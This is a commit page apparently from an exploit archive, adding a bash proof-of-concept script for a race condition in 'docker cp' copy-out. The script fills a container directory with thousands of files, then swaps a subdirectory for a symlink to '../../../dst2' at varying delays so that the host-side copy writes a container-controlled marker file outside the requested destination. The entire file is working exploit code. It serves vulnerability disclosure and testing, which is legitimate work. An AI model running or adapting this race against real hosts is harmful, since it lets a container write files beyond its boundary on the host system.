Add exploitarium archive
This commit is contained in:
96
docker-cp-copyout-destination-escape/poc.sh
Normal file
96
docker-cp-copyout-destination-escape/poc.sh
Normal file
@@ -0,0 +1,96 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
name="docker-cp-copyout-poc-$$"
|
||||
host_base="${HOST_BASE:-/tmp/docker-cp-copyout-poc-$$}"
|
||||
host_dst="${host_base}/dst"
|
||||
host_out="${host_base}/dst2"
|
||||
attempt_log="${host_base}/attempts.log"
|
||||
stdout_log="${host_base}/docker-cp.stdout"
|
||||
stderr_log="${host_base}/docker-cp.stderr"
|
||||
|
||||
cleanup() {
|
||||
docker rm -f "$name" >/dev/null 2>&1 || true
|
||||
}
|
||||
trap cleanup EXIT
|
||||
|
||||
rm -rf "$host_base"
|
||||
mkdir -p "$host_dst" "$host_out"
|
||||
|
||||
docker run -d --name "$name" alpine:3.21 sleep 600 >/dev/null
|
||||
docker exec "$name" sh -lc '
|
||||
set -e
|
||||
rm -rf /tmp/src /dst2
|
||||
mkdir -p /tmp/src/dir /dst2
|
||||
printf "container-controlled-host-marker\n" > /dst2/marker
|
||||
i=0
|
||||
while [ "$i" -lt 12000 ]; do
|
||||
printf "pad-%05d-%0128d\n" "$i" 0 > "/tmp/src/dir/a$(printf "%05d" "$i")"
|
||||
i=$((i+1))
|
||||
done
|
||||
mkdir -p /tmp/src/dir/zzlink
|
||||
'
|
||||
|
||||
try_delay() {
|
||||
local delay="$1"
|
||||
rm -rf "$host_dst" "$host_out"
|
||||
mkdir -p "$host_dst" "$host_out"
|
||||
: > "$stdout_log"
|
||||
: > "$stderr_log"
|
||||
docker exec "$name" sh -lc 'rm -rf /tmp/src/dir/zzlink /tmp/swap-done; mkdir -p /tmp/src/dir/zzlink'
|
||||
docker exec -d "$name" sh -lc "sleep '$delay'; rm -rf /tmp/src/dir/zzlink; ln -s ../../../dst2 /tmp/src/dir/zzlink; touch /tmp/swap-done"
|
||||
set +e
|
||||
docker cp "$name:/tmp/src" "$host_dst" >"$stdout_log" 2>"$stderr_log"
|
||||
local cp_status=$?
|
||||
set -e
|
||||
local outside="absent"
|
||||
if [ -f "$host_out/marker" ]; then
|
||||
outside="present"
|
||||
fi
|
||||
local link="absent"
|
||||
for candidate in "$host_dst/src/dir/zzlink" "$host_dst/dir/zzlink"; do
|
||||
if [ -L "$candidate" ]; then
|
||||
link="$(readlink "$candidate")"
|
||||
break
|
||||
elif [ -d "$candidate" ]; then
|
||||
link="directory"
|
||||
fi
|
||||
done
|
||||
printf 'delay=%s cp_status=%s outside_marker=%s link=%s\n' "$delay" "$cp_status" "$outside" "$link" | tee -a "$attempt_log"
|
||||
[ "$outside" = "present" ]
|
||||
}
|
||||
|
||||
delays=(
|
||||
0.010 0.025 0.050 0.075 0.100 0.150 0.200 0.300 0.400 0.550
|
||||
0.700 0.900 1.100 1.400 1.800 2.200 2.800 3.500 4.500 5.500
|
||||
)
|
||||
|
||||
success="no"
|
||||
for delay in "${delays[@]}"; do
|
||||
if try_delay "$delay"; then
|
||||
success="yes"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
echo "success=${success}"
|
||||
echo "host_base=${host_base}"
|
||||
echo "requested_destination=${host_dst}"
|
||||
echo "outside_marker_path=${host_out}/marker"
|
||||
if [ "$success" = "yes" ]; then
|
||||
echo "outside_marker_value=$(cat "$host_out/marker")"
|
||||
for candidate in "$host_dst/src/dir/zzlink" "$host_dst/dir/zzlink"; do
|
||||
if [ -L "$candidate" ]; then
|
||||
echo "observed_symlink=${candidate} -> $(readlink "$candidate")"
|
||||
break
|
||||
fi
|
||||
done
|
||||
echo "docker_cp_stdout=${stdout_log}"
|
||||
echo "docker_cp_stderr=${stderr_log}"
|
||||
else
|
||||
echo "attempt_log=${attempt_log}"
|
||||
echo "docker_cp_stderr_tail_start"
|
||||
tail -n 20 "$stderr_log" || true
|
||||
echo "docker_cp_stderr_tail_end"
|
||||
exit 1
|
||||
fi
|
||||
Reference in New Issue
Block a user